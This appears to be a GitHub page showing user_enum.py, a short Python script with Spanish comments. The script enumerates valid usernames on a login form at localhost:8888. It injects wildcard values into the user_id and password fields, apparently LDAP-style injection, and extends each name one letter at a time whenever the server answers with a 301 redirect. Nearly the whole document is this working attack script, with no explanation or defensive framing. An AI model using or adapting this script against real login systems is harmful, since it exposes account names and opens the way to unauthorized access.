-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathuser_enum.py
More file actions
60 lines (43 loc) · 1.57 KB
/
user_enum.py
File metadata and controls
60 lines (43 loc) · 1.57 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/python3
import requests
import sys
import signal
import string
# Para debug de red si se necesita
from pwn import log
# Ctrl+C handler
def def_handler(sig, frame):
print("\n\n[!] Saliendo...")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
# Config
url = "http://localhost:8888"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
characters = string.ascii_lowercase
def get_users():
posibles_usuarios = []
log.info("Enumerando posibles usuarios...")
# Enumeración inicial por primera letra
for char in characters:
payload = f"user_id={char}*&password=*&login=1&submit=Submit"
response = requests.post(url, data=payload, headers=headers, allow_redirects=False)
if response.status_code == 301:
posibles_usuarios.append(char)
# Fuerza bruta sobre los usuarios encontrados
for user_prefix in posibles_usuarios:
nombre_actual = user_prefix
while True:
encontrado = False
for char in characters:
nuevo_nombre = nombre_actual + char
payload = f"user_id={nuevo_nombre}*&password=*&login=1&submit=Submit"
response = requests.post(url, data=payload, headers=headers, allow_redirects=False)
if response.status_code == 301:
nombre_actual += char
encontrado = True
break
if not encontrado:
break
log.success(f"[+] Usuario encontrado: {nombre_actual}")
if __name__ == "__main__":
get_users()